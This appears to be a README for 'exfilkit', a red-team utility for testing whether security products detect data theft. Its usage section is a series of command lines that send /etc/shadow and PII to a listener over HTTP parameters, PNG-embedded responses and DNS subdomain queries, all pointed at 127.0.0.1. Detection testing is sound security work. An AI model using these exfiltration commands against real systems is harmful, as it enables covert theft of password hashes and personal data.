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2 years ago
140 
Data exfiltration utility for testing detection capabilities
Description
Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.
Exfiltration How-To
/etc/shadow -> HTTP GET requests
Server
# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log
Client
$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r
/etc/shadow -> HTTP POST requests
Server
# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log
Client
$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r
PII -> PNG embedded in HTTP Response
Server
$ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log
Client
# ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r
PII -> DNS subdomains querying
Server
# ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log
Client
$ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r
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